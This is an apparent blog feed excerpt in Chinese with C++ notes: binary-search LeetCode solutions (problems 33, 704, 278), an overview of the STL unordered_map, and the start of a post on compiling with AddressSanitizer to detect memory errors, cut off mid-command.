<content type="html"><![CDATA[<h1 id="二分查找"><a href="#二分查找" class="headerlink" title="二分查找"></a>二分查找</h1><p>leetcode题目 33:搜索旋转排序数组</p><p>leetcode题目 704:二分查找</p><p>leetcode题目 278:第一个错误的版本</p><span id="more"></span><h3 id><a href="#" class="headerlink" title=" "></a> </h3><h2 id="33-搜索旋转排序数组"><a href="#33-搜索旋转排序数组" class="headerlink" title="33. 搜索旋转排序数组"></a><a href="https://leetcode.cn/problems/search-in-rotated-sorted-array/">33. 搜索旋转排序数组</a></h2><h3 id="题目复述"><a href="#题目复述" class="headerlink" title="题目复述"></a>题目复述</h3><p>难度中等2070收藏分享切换为英文接收动态反馈</p><p>整数数组 <code>nums</code> 按升序排列,数组中的值 <strong>互不相同</strong> 。</p><p>在传递给函数之前,<code>nums</code> 在预先未知的某个下标 <code>k</code>(<code>0 <= k < nums.length</code>)上进行了 <strong>旋转</strong>,使数组变为 <code>[nums[k], nums[k+1], ..., nums[n-1], nums[0], nums[1], ..., nums[k-1]]</code>(下标 <strong>从 0 开始</strong> 计数)。例如, <code>[0,1,2,4,5,6,7]</code> 在下标 <code>3</code> 处经旋转后可能变为 <code>[4,5,6,7,0,1,2]</code> 。</p><p>给你 <strong>旋转后</strong> 的数组 <code>nums</code> 和一个整数 <code>target</code> ,如果 <code>nums</code> 中存在这个目标值 <code>target</code> ,则返回它的下标,否则返回 <code>-1</code> 。</p><p><strong>示例 1:</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">输入:nums = [4,5,6,7,0,1,2], target = 0</span><br><span class="line">输出:4</span><br></pre></td></tr></table></figure><p><strong>示例 2:</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">输入:nums = [4,5,6,7,0,1,2], target = 3</span><br><span class="line">输出:-1</span><br></pre></td></tr></table></figure><p><strong>示例 3:</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">输入:nums = [1], target = 0</span><br><span class="line">输出:-1</span><br></pre></td></tr></table></figure><p><strong>提示:</strong></p><ul><li><code>1 <= nums.length <= 5000</code></li><li><code>-10^4 <= nums[i] <= 10^4</code></li><li><code>nums</code> 中的每个值都 <strong>独一无二</strong></li><li>题目数据保证 <code>nums</code> 在预先未知的某个下标上进行了旋转</li><li><code>-10^4 <= target <= 10^4</code></li></ul><h3 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h3><p>对于有序数组,可以使用二分查找的方法查找元素。</p><p>但是这道题中,数组本身不是有序的,进行旋转后只保证了数组的局部是有序的,这还能进行二分查找吗?答案是可以的。</p><p>可以发现的是,我们将数组从中间分开成左右两部分的时候,一定有一部分的数组是有序的。拿示例来看,我们从 6 这个位置分开以后数组变成了 [4, 5, 6] 和 [7, 0, 1, 2] 两个部分,其中左边 [4, 5, 6] 这个部分的数组是有序的,其他也是如此。</p><p>这启示我们可以在常规二分查找的时候查看当前 mid 为分割位置分割出来的两个部分 [l, mid] 和 [mid + 1, r] 哪个部分是有序的,并根据有序的那个部分确定我们该如何改变二分查找的上下界,因为我们能够根据有序的那部分判断出 target 在不在这个部分:</p><p>如果$ [l, mid - 1]$ 是有序数组,且 target 的大小满足$ [\textit{nums}[l],\textit{nums}[mid])$,则我们应该将搜索范围缩小至 $[l, mid - 1]$,否则在$ [mid + 1, r] $中寻找。<br>如果 $[mid, r]$ 是有序数组,且 target 的大小满足 $(\textit{nums}[mid+1],\textit{nums}[r]]$,则我们应该将搜索范围缩小至 $[mid + 1, r]$,否则在 $[l, mid - 1]$ 中寻找。</p><p><img src="/2022/05/11/%E4%BA%8C%E5%88%86%E6%9F%A5%E6%89%BE/33_fig1.png" class="lazyload placeholder" data-srcset="/2022/05/11/%E4%BA%8C%E5%88%86%E6%9F%A5%E6%89%BE/33_fig1.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="fig1"></p><h3 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h3><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span> {</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="function"><span class="keyword">int</span> <span class="title">search</span><span class="params">(vector<<span class="keyword">int</span>>& nums, <span class="keyword">int</span> target)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> length = nums.<span class="built_in">size</span>();</span><br><span class="line"> <span class="keyword">int</span> left = <span class="number">0</span>, right = length<span class="number">-1</span>;</span><br><span class="line"> <span class="keyword">int</span> mid;</span><br><span class="line"> <span class="keyword">while</span>(right-left><span class="number">1</span>){</span><br><span class="line"> mid = (left+right)/<span class="number">2</span>;</span><br><span class="line"> cout<<mid<<left<<right<<endl;</span><br><span class="line"> <span class="comment">//若mid恰好是结果</span></span><br><span class="line"> <span class="keyword">if</span>(nums[mid] == target){</span><br><span class="line"> <span class="keyword">return</span> mid;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//若nums[mid]<target, 且mid在左半,则结果只可能在右半</span></span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span>(nums[<span class="number">0</span>]<nums[mid] && nums[mid] < target){</span><br><span class="line"> left = mid;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//若nums[mid]<target,且mid在右半</span></span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span>(nums[<span class="number">0</span>]>nums[mid] && nums[mid] < target){</span><br><span class="line"> <span class="comment">//若target大于所有右半,则在左边,否则在右边</span></span><br><span class="line"> <span class="keyword">if</span>(nums[length<span class="number">-1</span>]<target){</span><br><span class="line"> right = mid;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> left = mid;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//若nums[mid]>target,且mid在左半</span></span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span>(nums[<span class="number">0</span>]<nums[mid] && nums[mid] > target){</span><br><span class="line"> <span class="comment">//若target小于所有左半,则target在右边,否则在左半</span></span><br><span class="line"> <span class="keyword">if</span>(nums[<span class="number">0</span>]<=target){</span><br><span class="line"> right = mid;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> left = mid;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//若nums[mid]>target,且mid在右半,则结果只可能在左半</span></span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span>(nums[<span class="number">0</span>]>nums[mid] && nums[mid] > target){</span><br><span class="line"> right = mid;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span>(nums[right]==target){</span><br><span class="line"> <span class="keyword">return</span> right;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span>(nums[left]==target){</span><br><span class="line"> <span class="keyword">return</span> left;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line">};</span><br></pre></td></tr></table></figure><h2 id="704-二分查找"><a href="#704-二分查找" class="headerlink" title="704. 二分查找"></a><a href="https://leetcode.cn/problems/binary-search/">704. 二分查找</a></h2><p>给定一个 <code>n</code> 个元素有序的(升序)整型数组 <code>nums</code> 和一个目标值 <code>target</code> ,写一个函数搜索 <code>nums</code> 中的 <code>target</code>,如果目标值存在返回下标,否则返回 <code>-1</code>。</p><p><strong>示例 1:</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">输入: nums = [-1,0,3,5,9,12], target = 9</span><br><span class="line">输出: 4</span><br><span class="line">解释: 9 出现在 nums 中并且下标为 4</span><br></pre></td></tr></table></figure><p><strong>示例 2:</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">输入: nums = [-1,0,3,5,9,12], target = 2</span><br><span class="line">输出: -1</span><br><span class="line">解释: 2 不存在 nums 中因此返回 -1</span><br></pre></td></tr></table></figure><p><strong>提示:</strong></p><ol><li>你可以假设 <code>nums</code> 中的所有元素是不重复的。</li><li><code>n</code> 将在 <code>[1, 10000]</code>之间。</li><li><code>nums</code> 的每个元素都将在 <code>[-9999, 9999]</code>之间。</li></ol><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span> {</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="function"><span class="keyword">int</span> <span class="title">search</span><span class="params">(vector<<span class="keyword">int</span>>& nums, <span class="keyword">int</span> target)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> left = <span class="number">0</span>, right = nums.<span class="built_in">size</span>()<span class="number">-1</span>, mid;</span><br><span class="line"> <span class="comment">// left = mid + 1 and right = mid - 1, so when the target not in nums, left and right will meet, and left<=right</span></span><br><span class="line"> <span class="keyword">while</span>(left<=right){</span><br><span class="line"><span class="comment">// adjust mid to the (left+right)/2</span></span><br><span class="line"> mid = left + (right - left) / <span class="number">2</span>;</span><br><span class="line"> <span class="comment">// found the answer</span></span><br><span class="line"> <span class="keyword">if</span> (nums[mid] == target){</span><br><span class="line"> <span class="keyword">return</span> mid;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// notice that the left is mid+1, because nums[mid] < target, the "mid" index is not the right answer </span></span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (nums[mid] < target){</span><br><span class="line"> left = mid + <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// the "mid" index is not the right answer </span></span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> right = mid - <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// not found the answer </span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line">};</span><br></pre></td></tr></table></figure><ul><li>注意对 <code>left</code>和 <code>right</code>的处理:<code>left = mid + 1</code>; <code>right = mid - 1</code>;</li><li>使用<code>mid = left + (right - left) / 2</code>; 而非直接使用<code>mid = (left+right)/2</code>;,是为了防止溢出。</li></ul><h2 id="278-第一个错误的版本"><a href="#278-第一个错误的版本" class="headerlink" title="278. 第一个错误的版本"></a><a href="https://leetcode.cn/problems/first-bad-version/">278. 第一个错误的版本</a></h2><p>你是产品经理,目前正在带领一个团队开发新的产品。不幸的是,你的产品的最新版本没有通过质量检测。由于每个版本都是基于之前的版本开发的,所以错误的版本之后的所有版本都是错的。</p><p>假设你有 <code>n</code> 个版本 <code>[1, 2, ..., n]</code>,你想找出导致之后所有版本出错的第一个错误的版本。</p><p>你可以通过调用 <code>bool isBadVersion(version)</code> 接口来判断版本号 <code>version</code> 是否在单元测试中出错。实现一个函数来查找第一个错误的版本。你应该尽量减少对调用 API 的次数。</p><p><strong>示例 1:</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">输入:n = 5, bad = 4</span><br><span class="line">输出:4</span><br><span class="line">解释:</span><br><span class="line">调用 isBadVersion(3) -> false </span><br><span class="line">调用 isBadVersion(5) -> true </span><br><span class="line">调用 isBadVersion(4) -> true</span><br><span class="line">所以,4 是第一个错误的版本。</span><br></pre></td></tr></table></figure><p><strong>示例 2:</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">输入:n = 1, bad = 1</span><br><span class="line">输出:1</span><br></pre></td></tr></table></figure><p><strong>提示:</strong></p><ul><li><code>1 <= bad <= n <= 231 - 1</code></li></ul><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// The API isBadVersion is defined for you.</span></span><br><span class="line"><span class="comment">// bool isBadVersion(int version);</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span> {</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="function"><span class="keyword">int</span> <span class="title">firstBadVersion</span><span class="params">(<span class="keyword">int</span> n)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> left = <span class="number">1</span>, right = n;</span><br><span class="line"> <span class="keyword">int</span> mid = left + (right - left) / <span class="number">2</span>; </span><br><span class="line"> <span class="keyword">while</span>(right>left){</span><br><span class="line"> mid = left + (right - left) / <span class="number">2</span>; </span><br><span class="line"> <span class="comment">// the answer is between left and mid (mid itself can be the answer)</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">isBadVersion</span>(mid)){</span><br><span class="line"> right = mid;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// the answer is between mid + 1 and the right</span></span><br><span class="line"> <span class="keyword">else</span>{</span><br><span class="line"> left = mid + <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// after the loop, left=right=ans, output the ans</span></span><br><span class="line"> <span class="keyword">return</span> left;</span><br><span class="line"> }</span><br><span class="line">};</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><h1 id="二分查找"><a href="#二分查找" class="headerlink" title="二分查找"></a>二分查找</h1><p>leetcode题目 33:搜索旋转排序数组</p>
<p>leetcode题目 704:二分查找</p>
<p>leetcode题目 278:第一个错误的版本</p></summary>
<category term="c++" scheme="http://example.com/tags/c/"/>
<category term="二分查找" scheme="http://example.com/tags/%E4%BA%8C%E5%88%86%E6%9F%A5%E6%89%BE/"/>
</entry>
<entry>
<title>今日C++起步小记3</title>
<link href="http://example.com/2022/05/10/%E4%BB%8A%E6%97%A5C-%E8%B5%B7%E6%AD%A5%E5%B0%8F%E8%AE%B03/"/>
<id>http://example.com/2022/05/10/%E4%BB%8A%E6%97%A5C-%E8%B5%B7%E6%AD%A5%E5%B0%8F%E8%AE%B03/</id>
<published>2022-05-09T16:24:35.000Z</published>
<updated>2022-05-09T16:25:15.290Z</updated>
<content type="html"><![CDATA[<h2 id="C-STL-unordered-map容器"><a href="#C-STL-unordered-map容器" class="headerlink" title="C++ STL unordered_map容器"></a>C++ STL unordered_map容器</h2><p>unordered_map 容器,直译过来就是”无序 map 容器”的意思。所谓“无序”,指的是 unordered_map 容器不会像 map 容器那样对存储的数据进行排序。换句话说,unordered_map 容器和 map 容器仅有一点不同,即 map 容器中存储的数据是有序的,而 unordered_map 容器中是无序的。</p><span id="more"></span><p>由于 unordered_map 容器底层采用的是哈希表存储结构,该结构本身不具有对数据的排序功能,所以此容器内部不会自行对存储的键值对进行排序。</p><p>unordered_map 容器在<code><unordered_map></code>头文件中,并位于 std 命名空间中。因此,如果想使用该容器,代码中应包含如下语句:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">#include <unordered_map>using namespace std;</span><br></pre></td></tr></table></figure><blockquote><p>注意,第二行代码不是必需的,但如果不用,则后续程序中在使用此容器时,需手动注明 std 命名空间(强烈建议初学者使用)。</p></blockquote><p>unordered_map 容器模板的定义如下所示:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">template < class Key, //键值对中键的类型 class T, //键值对中值的类型 class Hash = hash<Key>, //容器内部存储键值对所用的哈希函数 class Pred = equal_to<Key>, //判断各个键值对键相同的规则 class Alloc = allocator< pair<const Key,T> > // 指定分配器对象的类型 > class unordered_map;</span><br></pre></td></tr></table></figure><p>以上 5 个参数中,必须显式给前 2 个参数传值,并且除特殊情况外,最多只需要使用前 4 个参数,各自的含义和功能如表 1 所示。</p><div class="table-container"><table><thead><tr><th>参数</th><th>含义</th></tr></thead><tbody><tr><td><key,T></key,T></td><td>前 2 个参数分别用于确定键值对中键和值的类型,也就是存储键值对的类型。</td></tr><tr><td>Hash = hash<Key></Key></td><td>用于指明容器在存储各个键值对时要使用的哈希函数,默认使用 STL 标准库提供的 hash<key> 哈希函数。注意,默认哈希函数只适用于基本数据类型(包括 string 类型),而不适用于自定义的结构体或者类。</key></td></tr><tr><td>Pred = equal_to<Key></Key></td><td>要知道,unordered_map 容器中存储的各个键值对的键是不能相等的,而判断是否相等的规则,就由此参数指定。默认情况下,使用 STL 标准库中提供的 equal_to<key> 规则,该规则仅支持可直接用 == 运算符做比较的数据类型。</key></td></tr></tbody></table></div><blockquote><p>总的来说,当无序容器中存储键值对的键为自定义类型时,默认的哈希函数 hash 以及比较函数 equal_to 将不再适用,只能自己设计适用该类型的哈希函数和比较函数,并显式传递给 Hash 参数和 Pred 参数。至于如何实现自定义,后续章节会做详细讲解。</p></blockquote><h3 id="创建C-unordered-map容器的方法"><a href="#创建C-unordered-map容器的方法" class="headerlink" title="创建C++ unordered_map容器的方法"></a>创建C++ unordered_map容器的方法</h3><ol><li>unordered_map 模板类的默认构造函数,可以创建空的 unordered_map 容器。</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">std::unordered_map<std::string, std::string> umap;</span><br></pre></td></tr></table></figure><p>由此,就创建好了一个可存储 <string,string> 类型键值对的 unordered_map 容器。</string,string></p><ol><li>创建 unordered_map 容器的同时,可以完成初始化操作:</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">std::unordered_map<std::string, std::string> umap{ {"Python教程","http://c.biancheng.net/python/"}, {"Java教程","http://c.biancheng.net/java/"}, {"Linux教程","http://c.biancheng.net/linux/"} };</span><br></pre></td></tr></table></figure><p>通过此方法创建的 umap 容器中,包含有 3 个键值对元素。</p><ol><li>可以调用 unordered_map 模板中提供的复制(拷贝)构造函数,将现有 unordered_map 容器中存储的键值对,复制给新建 unordered_map 容器。</li></ol><p>在第二种方式创建好 umap 容器的基础上,再创建并初始化一个 umap2 容器:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">std::unordered_map<std::string, std::string> umap2(umap);</span><br></pre></td></tr></table></figure><p>由此,umap2 容器中就包含有 umap 容器中所有的键值对。</p><ol><li>如果不想全部拷贝,可以使用 unordered_map 类模板提供的迭代器,在现有 unordered_map 容器中选择部分区域内的键值对,为新建 unordered_map 容器初始化。例如:</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">//传入 2 个迭代器,std::unordered_map<std::string, std::string> umap2(++umap.begin(),umap.end());</span><br></pre></td></tr></table></figure><p>通过此方式创建的 umap2 容器,其内部就包含 umap 容器中除第 1 个键值对外的所有其它键值对。</p><h3 id="C-unordered-map容器的成员方法"><a href="#C-unordered-map容器的成员方法" class="headerlink" title="C++ unordered_map容器的成员方法"></a>C++ unordered_map容器的成员方法</h3><p>unordered_map 既可以看做是关联式容器,更属于自成一脉的无序容器。因此在该容器模板类中,既包含一些在学习关联式容器时常见的成员方法,还有一些属于无序容器特有的成员方法。</p><div class="table-container"><table><thead><tr><th>成员方法</th><th>功能</th></tr></thead><tbody><tr><td>begin()</td><td>返回指向容器中第一个键值对的正向迭代器。</td></tr><tr><td>end()</td><td>返回指向容器中最后一个键值对之后位置的正向迭代器。</td></tr><tr><td>cbegin()</td><td>和 begin() 功能相同,只不过在其基础上增加了 const 属性,即该方法返回的迭代器不能用于修改容器内存储的键值对。</td></tr><tr><td>cend()</td><td>和 end() 功能相同,只不过在其基础上,增加了 const 属性,即该方法返回的迭代器不能用于修改容器内存储的键值对。</td></tr><tr><td>empty()</td><td>若容器为空,则返回 true;否则 false。</td></tr><tr><td>size()</td><td>返回当前容器中存有键值对的个数。</td></tr><tr><td>max_size()</td><td>返回容器所能容纳键值对的最大个数,不同的操作系统,其返回值亦不相同。</td></tr><tr><td>operator[key]</td><td>该模板类中重载了 [] 运算符,其功能是可以向访问数组中元素那样,只要给定某个键值对的键 key,就可以获取该键对应的值。注意,如果当前容器中没有以 key 为键的键值对,则其会使用该键向当前容器中插入一个新键值对。</td></tr><tr><td>at(key)</td><td>返回容器中存储的键 key 对应的值,如果 key 不存在,则会抛出 out_of_range 异常。</td></tr><tr><td>find(key)</td><td>查找以 key 为键的键值对,如果找到,则返回一个指向该键值对的正向迭代器;反之,则返回一个指向容器中最后一个键值对之后位置的迭代器(如果 end() 方法返回的迭代器)。</td></tr><tr><td>count(key)</td><td>在容器中查找以 key 键的键值对的个数。</td></tr><tr><td>equal_range(key)</td><td>返回一个 pair 对象,其包含 2 个迭代器,用于表明当前容器中键为 key 的键值对所在的范围。</td></tr><tr><td>emplace()</td><td>向容器中添加新键值对,效率比 insert() 方法高。</td></tr><tr><td>emplace_hint()</td><td>向容器中添加新键值对,效率比 insert() 方法高。</td></tr><tr><td>insert()</td><td>向容器中添加新键值对。</td></tr><tr><td>erase()</td><td>删除指定键值对。</td></tr><tr><td>clear()</td><td>清空容器,即删除容器中存储的所有键值对。</td></tr><tr><td>swap()</td><td>交换 2 个 unordered_map 容器存储的键值对,前提是必须保证这 2 个容器的类型完全相等。</td></tr><tr><td>bucket_count()</td><td>返回当前容器底层存储键值对时,使用桶(一个线性链表代表一个桶)的数量。</td></tr><tr><td>max_bucket_count()</td><td>返回当前系统中,unordered_map 容器底层最多可以使用多少桶。</td></tr><tr><td>bucket_size(n)</td><td>返回第 n 个桶中存储键值对的数量。</td></tr><tr><td>bucket(key)</td><td>返回以 key 为键的键值对所在桶的编号。</td></tr><tr><td>load_factor()</td><td>返回 unordered_map 容器中当前的负载因子。负载因子,指的是的当前容器中存储键值对的数量(size())和使用桶数(bucket_count())的比值,即 load_factor() = size() / bucket_count()。</td></tr><tr><td>max_load_factor()</td><td>返回或者设置当前 unordered_map 容器的负载因子。</td></tr><tr><td>rehash(n)</td><td>将当前容器底层使用桶的数量设置为 n。</td></tr><tr><td>reserve()</td><td>将存储桶的数量(也就是 bucket_count() 方法的返回值)设置为至少容纳count个元(不超过最大负载因子)所需的数量,并重新整理容器。</td></tr><tr><td>hash_function()</td><td>返回当前容器使用的哈希函数对象。</td></tr></tbody></table></div><h3 id="C-unordered-map容器使用示例"><a href="#C-unordered-map容器使用示例" class="headerlink" title="C++ unordered_map容器使用示例"></a>C++ unordered_map容器使用示例</h3><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unordered_map></span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="comment">//创建空 umap 容器</span></span><br><span class="line"> unordered_map<string, string> umap;</span><br><span class="line"> <span class="comment">//向 umap 容器添加新键值对</span></span><br><span class="line"> umap.<span class="built_in">emplace</span>(<span class="string">"Python教程"</span>, <span class="string">"http://c.biancheng.net/python/"</span>);</span><br><span class="line"> umap.<span class="built_in">emplace</span>(<span class="string">"Java教程"</span>, <span class="string">"http://c.biancheng.net/java/"</span>);</span><br><span class="line"> umap.<span class="built_in">emplace</span>(<span class="string">"Linux教程"</span>, <span class="string">"http://c.biancheng.net/linux/"</span>);</span><br><span class="line"> <span class="comment">//输出 umap 存储键值对的数量</span></span><br><span class="line"> cout << <span class="string">"umap size = "</span> << umap.<span class="built_in">size</span>() << endl;</span><br><span class="line"> <span class="comment">//使用迭代器输出 umap 容器存储的所有键值对</span></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span> iter = umap.<span class="built_in">begin</span>(); iter != umap.<span class="built_in">end</span>(); ++iter) {</span><br><span class="line"> cout << iter->first << <span class="string">" "</span> << iter->second << endl;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><blockquote id="fn_引用"><sup>引用</sup>. <a href="http://c.biancheng.net/view/7231.html">http://c.biancheng.net/view/7231.html</a><a href="#reffn_引用" title="Jump back to footnote [引用] in the text."> ↩</a></blockquote>]]></content>
<summary type="html"><h2 id="C-STL-unordered-map容器"><a href="#C-STL-unordered-map容器" class="headerlink" title="C++ STL unordered_map容器"></a>C++ STL unordered_map容器</h2><p>unordered_map 容器,直译过来就是”无序 map 容器”的意思。所谓“无序”,指的是 unordered_map 容器不会像 map 容器那样对存储的数据进行排序。换句话说,unordered_map 容器和 map 容器仅有一点不同,即 map 容器中存储的数据是有序的,而 unordered_map 容器中是无序的。</p></summary>
<category term="C++" scheme="http://example.com/tags/C/"/>
</entry>
<entry>
<title>应用AddressSanitizer发现程序内存错误</title>
<link href="http://example.com/2022/05/09/%E5%BA%94%E7%94%A8AddressSanitizer%E5%8F%91%E7%8E%B0%E7%A8%8B%E5%BA%8F%E5%86%85%E5%AD%98%E9%94%99%E8%AF%AF/"/>
<id>http://example.com/2022/05/09/%E5%BA%94%E7%94%A8AddressSanitizer%E5%8F%91%E7%8E%B0%E7%A8%8B%E5%BA%8F%E5%86%85%E5%AD%98%E9%94%99%E8%AF%AF/</id>
<published>2022-05-08T17:25:33.000Z</published>
<updated>2022-05-08T17:28:41.864Z</updated>
<content type="html"><![CDATA[<h2 id="应用-AddressSanitizer-发现程序内存错误"><a href="#应用-AddressSanitizer-发现程序内存错误" class="headerlink" title="应用 AddressSanitizer 发现程序内存错误"></a>应用 AddressSanitizer 发现程序内存错误</h2><span id="more"></span><p>可以检测下面这些内存错误 </p><ul><li>– Use after free:访问堆上已经被释放的内存 </li><li>– Heap buffer overflow:堆上缓冲区访问溢出 – Stack buffer overflow:栈上缓冲区访问溢出 </li><li>– Global buffer overflow:全局缓冲区访问溢出 </li><li>– Use after return:访问栈上已被释放的内存 </li><li>– Use after scope:栈对象使用超过定义范围 </li><li>– Initialization order bugs:初始化命令错误 </li><li>– Memory leaks:内存泄漏</li></ul><h3 id="使用方式"><a href="#使用方式" class="headerlink" title="使用方式"></a>使用方式</h3><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">gcc -fsanitize=address -fno-omit-frame-pointer -O1 -g use-after-free.c -o use-after-free</span><br><span class="line"> </span><br><span class="line">g++ -fsanitize=address -fno-omit-frame-pointer -O1 -g use-after-free.c -o 